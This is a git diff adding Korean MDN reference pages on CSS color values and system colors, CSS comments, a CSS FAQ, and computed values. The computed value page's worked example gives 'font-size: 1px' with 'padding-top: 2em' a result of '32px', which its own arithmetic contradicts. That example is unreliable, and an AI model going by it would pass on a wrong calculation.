+ <td><code>hsl(120, 0%, 50%)</code></td>
+ <td>gray</td>
+ <td style="background: hsl(120,0%,50%);"></td>
+ </tr>
+ </tbody>
+</table>
+
+<h5 id="다양한_HSL_투명도_구문">다양한 HSL 투명도 구문</h5>
+
+<pre style="text-shadow: rgba(255,255,255,0.4) -1px -1px;">hsla(240, 100%, 50%, .05) <span style="background: hsla(240,100%,50%,0.05);"> /* 5% opaque blue */ </span>
+hsla(240, 100%, 50%, .4) <span style="background: hsla(240,100%,50%,0.4);"> /* 40% opaque blue */ </span>
+hsla(240, 100%, 50%, .7) <span style="background: hsla(240,100%,50%,0.7);"> /* 70% opaque blue */ </span>
+hsla(240, 100%, 50%, 1) <span style="background: hsla(240,100%,50%,1);"> /* full opaque blue */ </span>
+
+/* Whitespace syntax */
+hsla(240 100% 50% / .05) <span style="background: hsla(240,100%,50%,0.05);"> /* 5% opaque blue */ </span>
+
+/* Percentage value for alpha */
+hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> /* 5% opaque blue */ </span>
+</pre>
+
+<h3 id="시스템_색상">시스템 색상</h3>
+
+<p>모든 시스템에서 모든 시스템 색상을 지원하는건 아닙니다. 공개 웹 페이지에서 사용하는건 좋지 않습니다.</p>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0pt 0.5em 0.5em; -moz-column-rule: 1px solid powderblue; -moz-column-width: 15em; background: #eee; -webkit-columns: 15em; -webkit-column-rule: 1px solid powderblue; columns: 17em; column-rule: 1px solid powderblue;">
+ <dt>ActiveBorder</dt>
+ <dd>Active window border.</dd>
+ <dt>ActiveCaption</dt>
+ <dd>Active window caption. Should be used with <code>CaptionText</code> as foreground color.</dd>
+ <dt>AppWorkspace</dt>
+ <dd>Background color of multiple document interface.</dd>
+ <dt>Background</dt>
+ <dd>Desktop background.</dd>
+ <dt>ButtonFace</dt>
+ <dd>Face background color for 3-D elements that appear 3-D due to one layer of surrounding border. Should be used with the <code>ButtonText</code> foreground color.</dd>
+ <dt>ButtonHighlight</dt>
+ <dd>The color of the border facing the light source for 3-D elements that appear 3-D due to that layer of surrounding border.</dd>
+ <dt>ButtonShadow</dt>
+ <dd>The color of the border away from the light source for 3-D elements that appear 3-D due to that layer of surrounding border.</dd>
+ <dt>ButtonText</dt>
+ <dd>Text on push buttons. Should be used with the <code>ButtonFace</code> or <code>ThreeDFace</code> background color.</dd>
+ <dt>CaptionText</dt>
+ <dd>Text in caption, size box, and scrollbar arrow box. Should be used with the <code>ActiveCaption</code> background color.</dd>
+ <dt>GrayText</dt>
+ <dd>Grayed (disabled) text.</dd>
+ <dt>Highlight</dt>
+ <dd>Item(s) selected in a control. Should be used with the <code>HighlightText</code> foreground color.</dd>
+ <dt>HighlightText</dt>
+ <dd>Text of item(s) selected in a control. Should be used with the <code>Highlight</code> background color.</dd>
+ <dt>InactiveBorder</dt>
+ <dd>Inactive window border.</dd>
+ <dt>InactiveCaption</dt>
+ <dd>Inactive window caption. Should be used with the <code>InactiveCaptionText</code> foreground color.</dd>
+ <dt>InactiveCaptionText</dt>
+ <dd>Color of text in an inactive caption. Should be used with the <code>InactiveCaption</code> background color.</dd>
+ <dt>InfoBackground</dt>
+ <dd>Background color for tooltip controls. Should be used with the <code>InfoText</code> foreground color.</dd>
+ <dt>InfoText</dt>
+ <dd>Text color for tooltip controls. Should be used with the <code>InfoBackground</code> background color.</dd>
+ <dt>Menu</dt>
+ <dd>Menu background. Should be used with the <code>MenuText</code> or <code>-moz-MenuBarText</code> foreground color.</dd>
+ <dt>MenuText</dt>
+ <dd>Text in menus. Should be used with the <code>Menu</code> background color.</dd>
+ <dt>Scrollbar</dt>
+ <dd>Background color of scroll bars.</dd>
+ <dt>ThreeDDarkShadow</dt>
+ <dd>The color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.</dd>
+ <dt>ThreeDFace</dt>
+ <dd>The face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border. Should be used with the <code>ButtonText</code> foreground color.</dd>
+ <dt>ThreeDHighlight</dt>
+ <dd>The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.</dd>
+ <dt>ThreeDLightShadow</dt>
+ <dd>The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.</dd>
+ <dt>ThreeDShadow</dt>
+ <dd>The color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.</dd>
+ <dt>Window</dt>
+ <dd>Window background. Should be used with the <code>WindowText</code> foreground color.</dd>
+ <dt>WindowFrame</dt>
+ <dd>Window frame.</dd>
+ <dt>WindowText</dt>
+ <dd>Text in windows. Should be used with the <code>Window</code> background color.</dd>
+</dl>
+
+<h3 id="Mozilla_시스템_색상_확장">Mozilla 시스템 색상 확장</h3>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0 0.5em 0.5em; -moz-column-rule: 1px solid powderblue; -moz-column-width: 17em; background: #eee; -webkit-columns: 17em; -webkit-column-rule: 1px solid powderblue; columns: 17em; column-rule: 1px solid powderblue;">
+ <dt>-moz-ButtonDefault</dt>
+ <dd>The border color that goes around buttons that represent the default action for a dialog box.</dd>
+ <dt>-moz-ButtonHoverFace</dt>
+ <dd>The background color of a button that the mouse pointer is over (which would be <code>ThreeDFace</code> or <code>ButtonFace</code> when the mouse pointer is not over it). Should be used with the <code>-moz-ButtonHoverText</code> foreground color.</dd>
+ <dt>-moz-ButtonHoverText</dt>
+ <dd>The text color of a button that the mouse pointer is over (which would be ButtonText when the mouse pointer is not over it). Should be used with the <code>-moz-ButtonHoverFace background</code> color.</dd>
+ <dt>-moz-CellHighlight</dt>
+ <dd>Background color for selected item in a tree widget. Should be used with the <code>-moz-CellHighlightText</code> foreground color. See also <code>-moz-html-CellHighlight</code>.</dd>
+ <dt>-moz-CellHighlightText</dt>
+ <dd>Text color for a selected item in a tree. Should be used with the <code>-moz-CellHighlight background</code> color. See also <code>-moz-html-CellHighlightText</code>.</dd>
+ <dt>-moz-Combobox</dt>
+ <dd>{{Gecko_minversion_inline("1.9.2")}} Background color for combo-boxes. Should be used with the <code>-moz-ComboboxText</code> foreground color. In versions prior to 1.9.2, use <code>-moz-Field</code> instead.</dd>
+ <dt>-moz-ComboboxText</dt>
+ <dd>{{Gecko_minversion_inline("1.9.2")}} Text color for combo-boxes. Should be used with the <code>-moz-Combobox</code> background color. In versions prior to 1.9.2, use <code>-moz-FieldText</code> instead.</dd>
+ <dt>-moz-Dialog</dt>
+ <dd>Background color for dialog boxes. Should be used with the <code>-moz-DialogText</code> foreground color.</dd>
+ <dt>-moz-DialogText</dt>
+ <dd>Text color for dialog boxes. Should be used with the <code>-moz-Dialog</code> background color.</dd>
+ <dt>-moz-dragtargetzone</dt>
+ <dt>-moz-EvenTreeRow</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Background color for even-numbered rows in a tree. Should be used with the <code>-moz-FieldText</code> foreground color. In Gecko versions prior to 1.9, use <code>-moz-Field</code>. See also <code>-moz-OddTreeRow</code>.</dd>
+ <dt>-moz-Field</dt>
+ <dd>Text field background color. Should be used with the <code>-moz-FieldText</code> foreground color.</dd>
+ <dt>-moz-FieldText</dt>
+ <dd>Text field text color. Should be used with the <code>-moz-Field</code>, <code>-moz-EvenTreeRow</code>, or <code>-moz-OddTreeRow</code> background color.</dd>
+ <dt>-moz-html-CellHighlight</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Background color for highlighted item in HTML {{HTMLElement("select")}}s. Should be used with the <code>-moz-html-CellHighlightText</code> foreground color. Prior to Gecko 1.9, use <code>-moz-CellHighlight</code>.</dd>
+ <dt>-moz-html-CellHighlightText</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Text color for highlighted items in HTML {{HTMLElement("select")}}s. Should be used with the <code>-moz-html-CellHighlight</code> background color. Prior to Gecko 1.9, use <code>-moz-CellHighlightText</code>.</dd>
+ <dt>-moz-mac-accentdarkestshadow</dt>
+ <dt>-moz-mac-accentdarkshadow</dt>
+ <dt>-moz-mac-accentface</dt>
+ <dt>-moz-mac-accentlightesthighlight</dt>
+ <dt>-moz-mac-accentlightshadow</dt>
+ <dt>-moz-mac-accentregularhighlight</dt>
+ <dt>-moz-mac-accentregularshadow</dt>
+ <dt>-moz-mac-chrome-active</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}}</dd>
+ <dt>-moz-mac-chrome-inactive</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}}</dd>
+ <dt>-moz-mac-focusring</dt>
+ <dt>-moz-mac-menuselect</dt>
+ <dt>-moz-mac-menushadow</dt>
+ <dt>-moz-mac-menutextselect</dt>
+ <dt>-moz-MenuHover</dt>
+ <dd>Background color for hovered menu items. Often similar to <code>Highlight</code>. Should be used with the <code>-moz-MenuHoverText</code> or <code>-moz-MenuBarHoverText</code> foreground color.</dd>
+ <dt>-moz-MenuHoverText</dt>
+ <dd>Text color for hovered menu items. Often similar to <code>HighlightText</code>. Should be used with the <code>-moz-MenuHover</code> background color.</dd>
+ <dt>-moz-MenuBarText</dt>
+ <dd>{{Gecko_minversion_inline("1.9.2")}} Text color in menu bars. Often similar to <code>MenuText</code>. Should be used on top of <code>Menu</code> background.</dd>
+ <dt>-moz-MenuBarHoverText</dt>
+ <dd>Color for hovered text in menu bars. Often similar to <code>-moz-MenuHoverText</code>. Should be used on top of <code>-moz-MenuHover</code> background.</dd>
+ <dt>-moz-nativehyperlinktext</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}} Default platform hyperlink color.</dd>
+ <dt>-moz-OddTreeRow</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Background color for odd-numbered rows in a tree. Should be used with the <code>-moz-FieldText</code> foreground color. In Gecko versions prior to 1.9, use <code>-moz-Field</code>. See also <code>-moz-EvenTreeRow</code>.</dd>
+ <dt>-moz-win-communicationstext</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Should be used for text in objects with <code>{{cssxref("-moz-appearance")}}: -moz-win-communications-toolbox;</code>.</dd>
+ <dt>-moz-win-mediatext</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Should be used for text in objects with <code>{{cssxref("-moz-appearance")}}: -moz-win-media-toolbox</code>.</dd>
+ <dt>-moz-win-accentcolor</dt>
+ <dd>{{gecko_minversion_inline("56")}}<br>
+ Used to access the Windows 10 custom accent color that you can set on the start menu, taskbar, title bars, etc.</dd>
+ <dt>-moz-win-accentcolortext</dt>
+ <dd>{{gecko_minversion_inline("56")}}<br>
+ Used to access the color of text placed over the Windows 10 custom accent color in the start menu, taskbar, title bars, etc.</dd>
+</dl>
+
+<h3 id="Mozilla_색상_설정_확장">Mozilla 색상 설정 확장</h3>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0 0.5em 0.5em; background: #eee;">
+ <dt>-moz-activehyperlinktext</dt>
+ <dd>User's preference for text color of active links. Should be used with the default document background color.</dd>
+ <dt>-moz-default-background-color</dt>
+ <dd>{{Gecko_minversion_inline("5.0")}} User's preference for the document background color.</dd>
+ <dt>-moz-default-color</dt>
+ <dd>{{Gecko_minversion_inline("5.0")}} User's preference for the text color.</dd>
+ <dt>-moz-hyperlinktext</dt>
+ <dd>User's preference for the text color of unvisited links. Should be used with the default document background color.</dd>
+ <dt>-moz-visitedhyperlinktext</dt>
+ <dd>User's preference for the text color of visited links. Should be used with the default document background color.</dd>
+</dl>
+
+<h2 id="보간">보간</h2>
+
+<p>애니메이션과 <a href="/ko/docs/Web/CSS/CSS_Images/Using_CSS_gradients">그레이디언트</a>는 <code>&lt;color&gt;</code> 값의 빨강, 초록, 파랑 각 구성 성분을 부동소수점 실수를 사용해 보간합니다. 보간 중 예상하지 못한 무채색이 등장하는걸 방지하기 위해 계산은 <a href="https://www.gimp.org/docs/plug-in/appendix-alpha.html">알파 채널을 미리 곱한 sRGBA 색 공간</a>에서 수행합니다. 애니메이션에서 보간의 속도는 <a href="/ko/docs/Web/CSS/single-transition-timing-function">타이밍 함수</a>가 결정합니다.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>색을 구별하기 어려운 사람도 있으므로, <a class="external" href="https://www.w3.org/TR/WCAG/#visual-audio-contrast">WCAG 2.0</a> 권고안은 특정 메시지, 행동, 또는 결과를 나타내는 방법으로 오직 색만 사용하는걸 강력히 반대하고 있습니다. <a href="/ko/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">색과 색상 대비</a>를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Colors', '#changes-from-3')}}</td>
+ <td>{{Spec2('CSS4 Colors')}}</td>
+ <td>Adds <code>rebeccapurple</code>, four- (<code>#RGBA</code>) and eight-digit (<code>#RRGGBBAA</code>) hexadecimal notations, <code>rgba()</code> and <code>hsla()</code> as aliases of <code>rgb()</code> and <code>hsl()</code> (both with identical parameter syntax), space-separated function parameters as an alternative to commas, percentages for alpha values, and angles for the hue component in <code>hsl()</code> colors.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Colors', '#colorunits', '&lt;color&gt;')}}</td>
+ <td>{{Spec2('CSS3 Colors')}}</td>
+ <td>Deprecates system colors. Adds SVG colors and <code>rgba()</code>, <code>hsl()</code>, and <code>hsla()</code> functional notations.</td>
+ </tr>
+ <tr style="vertical-align: top;">
+ <td style="vertical-align: top;">{{SpecName('CSS2.1', 'syndata.html#value-def-color', '&lt;color&gt;')}}</td>
+ <td style="vertical-align: top;">{{Spec2('CSS2.1')}}</td>
+ <td style="vertical-align: top;">Adds the <code>orange</code> keyword and system colors.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: top;">{{SpecName('CSS1', '#color-units', '&lt;color&gt;')}}</td>
+ <td style="vertical-align: top;">{{Spec2('CSS1')}}</td>
+ <td style="vertical-align: top;">Initial definition. Includes 16 basic color keywords.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("opacity")}} 속성으로 요소 자체의 투명도를 바꿀 수 있습니다.</li>
+ <li><code>&lt;color&gt;</code>를 지정할 수 있는 흔히 쓰이는 속성: {{Cssxref("color")}}, {{Cssxref("background-color")}}, {{Cssxref("border-color")}}, {{Cssxref("box-shadow")}}, {{Cssxref("outline-color")}}, {{Cssxref("text-shadow")}}</li>
+ <li><a href="/ko/docs/Web/HTML/Applying_color">CSS로 HTML 요소에 색 입히기</a></li>
+</ul>
diff --git a/files/ko/web/css/comments/index.html b/files/ko/web/css/comments/index.html
new file mode 100644
index 0000000000..e101681e9c
--- /dev/null
+++ b/files/ko/web/css/comments/index.html
@@ -0,0 +1,54 @@
+---
+title: Comments
+slug: Web/CSS/Comments
+tags:
+ - CSS
+ - Reference
+translation_of: Web/CSS/Comments
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS <strong>주석</strong>은 코드에 설명을 넣거나, 브라우저가 스타일 시트의 특정 부분을 읽지 못하도록 방지할 때 사용합니다. 주석은 문서의 레이아웃에 영향을 주지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p>주석은 스타일 시트에서 공백이 위치할 수 있는 곳 어디에나 넣을 수 있습니다. 한 줄로도, 여러 줄로도 사용할 수 있습니다.</p>
+
+<pre class="syntaxbox">/* Comment */</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:css">/* 한 줄 주석 */
+
+/*
+여러
+줄을
+차지하는
+주석
+*/
+
+/* 아래와 같이 사용하면
+ 스타일을 숨길 수 있음 */
+/*
+span {
+ color: blue;
+ font-size: 1.5em;
+}
+*/
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>한 줄과 여러 줄 주석 모두 <code>/* */</code> 구문을 사용하며 다른 방법은 없습니다. 그러나 {{htmlelement("style")}} 요소를 사용하는 경우 <code>&lt;!-- --&gt;</code>를 이용해 구형 브라우저에게서 CSS를 숨길 수 있지만, 추천하는 방법은 아닙니다. <code>/* */</code> 주석 구문을 사용하는 대부분의 언어와 마찬가지로 주석을 중첩할 수는 없습니다. 즉 <code>/*</code>을 뒤따르는 첫 번째 <code>*/</code>이 주석을 끝냅니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/CSS21/syndata.html#comments">CSS 2.1 Syntax and basic data types #comments</a></li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/common_css_questions/index.html b/files/ko/web/css/common_css_questions/index.html
new file mode 100644
index 0000000000..604448f6c3
--- /dev/null
+++ b/files/ko/web/css/common_css_questions/index.html
@@ -0,0 +1,199 @@
+---
+title: 공통된 CSS 질문들
+slug: Web/CSS/Common_CSS_Questions
+translation_of: Learn/CSS/Howto/CSS_FAQ
+---
+<h2 id="왜_유효한_내_CSS가_왜_올바르게_그려지지_않는가">왜 유효한 내 CSS가 왜 올바르게 그려지지 않는가?</h2>
+
+<p>Browsers use the <code>DOCTYPE</code> declaration to choose whether to show the document using a mode that is more compatible  with Web standards or with old browser bugs. Using a correct and modern <code>DOCTYPE</code> declaration at the start of your HTML will improve browser standards compliance.</p>
+
+<p>Modern browsers have two main rendering modes:</p>
+
+<ul>
+ <li><em>Quirks Mode</em>: also called backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers. Documents with an incomplete, incorrect, or missing <code>DOCTYPE</code> declaration or a known <code>DOCTYPE</code> declaration in common use before 2001 will be rendered in Quirks Mode.</li>
+ <li><em>Standards Mode</em>: the browser attempts to follow the W3C standards strictly. New HTML pages are expected to be designed for standards-compliant browsers, and as a result, pages with a modern <code>DOCTYPE</code> declaration will be rendered with Standards Mode.</li>
+</ul>
+
+<p>Gecko-based browsers, have a third <em><a href="/en-US/docs/Gecko's_&quot;Almost_Standards&quot;_Mode" title="Gecko's_&quot;Almost_Standards&quot;_Mode">Almost Standards Mode</a></em> that has only a few minor quirks.</p>
+
+<p>This is a list of the most commonly used <code>DOCTYPE</code> declarations that will trigger Standards or Almost Standards mode:</p>
+
+<pre>&lt;!DOCTYPE html&gt; /* This is the HTML5 doctype. Given that each modern browser uses an HTML5
+ parser, this is the recommended doctype */
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+"http://www.w3.org/TR/html4/loose.dtd"&gt;
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+</pre>
+
+<h2 id="My_CSS_is_valid.2C_but_not_correctly_rendered" name="My_CSS_is_valid.2C_but_not_correctly_rendered">왜 유효한 내 CSS는 모두 랜더링 되지 않는가?</h2>
+
+<p>원인은 다음과 같다:</p>
+
+<ul>
+ <li>CSS 파일의 경로가 잘못되었다.</li>
+ <li>적용을 위해서는 CSS 파일은 반드시 <code>text/css</code> MIME type으로 전달되어야 한다. 만약 웹 서버가 이 타입을 지원하지 않는다면 적용할 수 없다.</li>
+</ul>
+
+<h2 id="Difference_between_id_and_class" name="Difference_between_id_and_class">id 와 css는 무엇이 다른가?</h2>
+
+<p>HTML elements can have an id and/or class attribute. The id attribute assigns a name to the element it is applied to, and for valid markup, there can be only one element with that name. The class attribute assigns a class name to the element, and that name can be used on many elements within the page. CSS allows you to apply styles to particular id and/or class names.<br>
+ <br>
+ Use an id-specific style when you want to restrict the applied styling rules to one specific block or element. This style will only be used by the element with that particular id.<br>
+ <br>
+ Use a class-specific style when you want to apply the styling rules to many blocks and elements within the page.</p>
+
+<p>Stylesheets with fewer rules are usually more performant. It is therefore recommended to use classes as much as possible, and to reserve the use of id for specific uses (like to connect label and form elements or for styling elements that must be semantically unique).</p>
+
+<p>See <a href="/en-US/docs/CSS/Getting_Started/Selectors" title="CSS/Getting_Started/Selectors"> CSS selectors</a></p>
+
+<h2 id="Restoring_the_default_property_value" name="Restoring_the_default_property_value"> 프로퍼티(property)에 기본값(default value)으로 복귀 시키는 방법은?</h2>
+
+<p> </p>
+
+<p>본래 CSS는 "default" 키워드를 제공하지 않으며 속성의 기본값을 복원하는 유일한 방법은 해당 속성을 명시 적으로 다시 선언하는 것이다.</p>
+
+<pre><code>/* Heading default color is black */
+h1 { color: red; }
+h1 { color: black; }</code></pre>
+
+<p>이것은 CSS 2에서 변경되었다. 키워드 <a href="https://developer.mozilla.org/es/CSS/initial" title="initial">initial</a>은 이제 CSS 속성에서 유효한 값이다. 지정된 속성의 CSS 사양에 정의 된 기본값으로 재설정된다.</p>
+
+<pre><code>/* Heading default color is black */
+h1 { color: red; }
+h1 { color: initial; }</code></pre>
+
+<p> </p>
+
+<h2 id="Derived_styles" name="Derived_styles">어떻게 하면 한 스타일(style)로 부터 다른 스타일을 파생시킬 수 있는가?</h2>
+
+<p>CSS는 한 스타일 안에서 다른 조건을 정의하는 것을 허용하지 않는다. (See <a href="http://archivist.incutio.com/viewlist/css-discuss/2685">Eric Meyer's note about the Working Group's stance</a>).  그러나 여러개의 클래스(class)들을 한 엘리먼트(element)에 할당하면 같은 효과를 제공받을 수 있다.</p>
+
+<h2 id="Assigning_multiple_classes" name="Assigning_multiple_classes">어떻게 하면 한 요소(element)에 여러 클래스(class)를 할당할 수 있는가?</h2>
+
+<p>HTML elements can be assigned multiple classes by listing the classes in the <code>class</code> attribute, with a blank space to separate them.</p>
+
+<pre>&lt;style type="text/css"&gt;
+.news { background: black; color: white; }
+.today { font-weight: bold; }
+&lt;/style&gt;
+
+&lt;div class="news today"&gt;
+... content of today's news ...
+&lt;/div&gt;
+</pre>
+
+<p>If the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the CSS declarations. The order of classes in the <code>class</code> attribute is not relevant.</p>
+
+<h2 id="Style_rules_that_don.27t_work" name="Style_rules_that_don.27t_work">왜 내 스타일 룰(style rule)은 올바르게 동작하지 않는가?</h2>
+
+<p>Style rules that are syntactically correct may not apply in certain situations. You can use <a href="/en-US/docs/DOM_Inspector" title="DOM_Inspector">DOM Inspector</a>'s <em>CSS Style Rules</em> view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below.</p>
+
+<h3 id="HTML_elements_hierarchy" name="HTML_elements_hierarchy">HTML 요소(element) 계층(hierarchy)</h3>
+
+<p>The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.</p>
+
+<pre>.news { color: black; }
+.corpName { font-weight: bold; color: red; }
+
+&lt;!-- news item text is black, but corporate name is red and in bold --&gt;
+&lt;div class="news"&gt;
+ (Reuters) &lt;span class="corpName"&gt;General Electric&lt;/span&gt; (GE.NYS) announced on Thursday...
+&lt;/div&gt;
+</pre>
+
+<p>In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.</p>
+
+<h3 id="Explicitly_re-defined_style_rule" name="Explicitly_re-defined_style_rule">명확한 스타일 룰 재정의</h3>
+
+<p>CSS 스타일시트 안에서 순서가 중요하다. 만약 룰을 정의하고 같은 룰을 재정의 한다면 마지막 정의가 적용된다.</p>
+
+<pre>#stockTicker { font-weight: bold; }
+.stockSymbol { color: red; }
+/* other rules */
+/* other rules */
+/* other rules */
+.stockSymbol { font-weight: normal; }
+
+&lt;!-- most text is in bold, except "GE", which is red and not bold --&gt;
+&lt;div id="stockTicker"&gt;
+ NYS: &lt;span class="stockSymbol"&gt;GE&lt;/span&gt; +1.0 ...
+&lt;/div&gt;
+</pre>
+
+<p>위와 같은 종류의 오류를 방지하려면 특정 선택자에 대해 규칙을 한 번만 정의하고 해당 선택자에 속하는 모든 규칙을 그룹화 하는 것이 좋다.</p>
+
+<h3 id="Use_of_a_shorthand_property" name="Use_of_a_shorthand_property">프로퍼티(property) 축약형의 사용</h3>
+
+<p>Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to default. This means that a previous rule for a single attribute could be implicitly overridden.</p>
+
+<pre>#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
+.stockSymbol { font: 14px Arial; color: red; }
+
+&lt;div id="stockTicker"&gt;
+ NYS: &lt;span class="stockSymbol"&gt;GE&lt;/span&gt; +1.0 ...
+&lt;/div&gt;
+</pre>
+
+<p>In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order <strong>is</strong> important.</p>
+
+<pre>#stockTicker {
+ font-weight: bold;
+ font: 12px Verdana; /* font-weight is now normal */
+}
+</pre>
+
+<h3 id="Use_of_the_.2A_selector" name="Use_of_the_.2A_selector">* 셀렉터(selector)의 사용</h3>
+
+<p>* 와일드카드 셀렉터는 모든 엘리먼트에 적용되고, 이것은 특별히 주의를 기울여 사용해야 한다.</p>
+
+<pre>body * { font-weight: normal; }
+#stockTicker { font: 12px Verdana; }
+.corpName { font-weight: bold; }
+.stockUp { color: red; }
+
+&lt;div id="section"&gt;
+ NYS: &lt;span class="corpName"&gt;&lt;span class="stockUp"&gt;GE&lt;/span&gt;&lt;/span&gt; +1.0 ...
+&lt;/div&gt;
+</pre>
+
+<p>In this example the <code>body *</code> selector applies the rule to all elements inside body, at any hierarchy level, including the .stockUp class. So <code>font-weight: bold;</code> applied to the .corpName class is overridden by <code>font-weight: normal;</code> applied to all elements in the body.</p>
+
+<p>The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.</p>
+
+<h3 id="Specificity_in_CSS" name="Specificity_in_CSS">CSS의 특수성</h3>
+
+<p>When multiples rules apply to a certain element, the rule chosen depends on its style <a href="/en-US/docs/CSS/Specificity" title="Specificity">specificity</a>. Inline style (in HTML <code>style</code> attributes) comes first, followed by ID selectors, then class selectors and eventually element-name selectors.</p>
+
+<pre>div { color: black; }
+#orange { color: orange; }
+.green { color: green; }
+
+&lt;div id="orange" class="green" style="color: red;"&gt;This is red&lt;/div&gt;
+</pre>
+
+<p>The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the <a href="http://www.w3.org/TR/CSS21/cascade.html#specificity">CSS 2.1 Specification chapter 6.4.3</a>.</p>
+
+<h2 id="What_do_the_-moz-.2A_properties_do.3F" name="What_do_the_-moz-.2A_properties_do.3F">-moz-*, -ms-*, -webkit-*, -o-* and -khtml-* 프로퍼티(property)들이 하는 것은?</h2>
+
+<p>These properties, called <em>prefixed properties</em>, are extensions to the CSS standard. They are used to use experimental and non-standard features without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.</p>
+
+<p>The use of such properties on production websites is not recommended. If nevertheless needed, you are hinted to make a plan for the website evolution: these prefixed properties can be modified or even suppressed when the standard evolves.</p>
+
+<p>Please see the <a href="/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions" title="CSS Reference/Mozilla Extensions">Mozilla CSS Extensions</a> page for more information on the Mozilla-prefixed CSS properties.</p>
+
+<h2 id="z-index는_어떻게_포지셔닝을_하는가">z-index는 어떻게 포지셔닝을 하는가?</h2>
+
+<p>The z-index property specifies the stack order of elements.</p>
+
+<p>An element with a higher z-index/stack order is always in front of an element with a lower z-index/stack order.</p>
+
+<p>Z-index will only work on elements that have a specified position (<code>position:absolute</code>, <code>position:relative</code>, or <code>position:fixed</code>).</p>
diff --git a/files/ko/web/css/computed_value/index.html b/files/ko/web/css/computed_value/index.html
new file mode 100644
index 0000000000..feb106bf43
--- /dev/null
+++ b/files/ko/web/css/computed_value/index.html
@@ -0,0 +1,55 @@
+---
+title: 계산값
+slug: Web/CSS/computed_value
+tags:
+ - CSS
+ - Reference
+translation_of: Web/CSS/computed_value
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> 속성의 <strong>계산값</strong>은 상속 과정에서 부모가 자식에게 물려주는 값을 말합니다.</span> 계산값은 <a href="/ko/docs/Web/CSS/specified_value">지정값</a>으로부터 다음 방법을 통해 구합니다.</p>
+
+<ul>
+ <li>특수값인 {{cssxref("inherit")}}, {{cssxref("initial")}}, {{cssxref("unset")}}, {{cssxref("revert")}}를 처리하여.</li>
+ <li>각 속성 정의 표의 "Computed value" 항목이 가리키는 연산을 수행하여.</li>
+</ul>
+
+<p>계산값을 구하기 위한 연산은 보통 상댓값(<code>em</code> 단위나 백분율 등)을 절댓값으로 변환하는 작업을 수반합니다. 예컨대 요소가 <code>font-size: 1px</code>과 <code>padding-top: 2em</code>을 가진다면, <code>padding-top</code>의 계산값은 글씨 크기의 두 배인 <code>32px</code>입니다.</p>
+
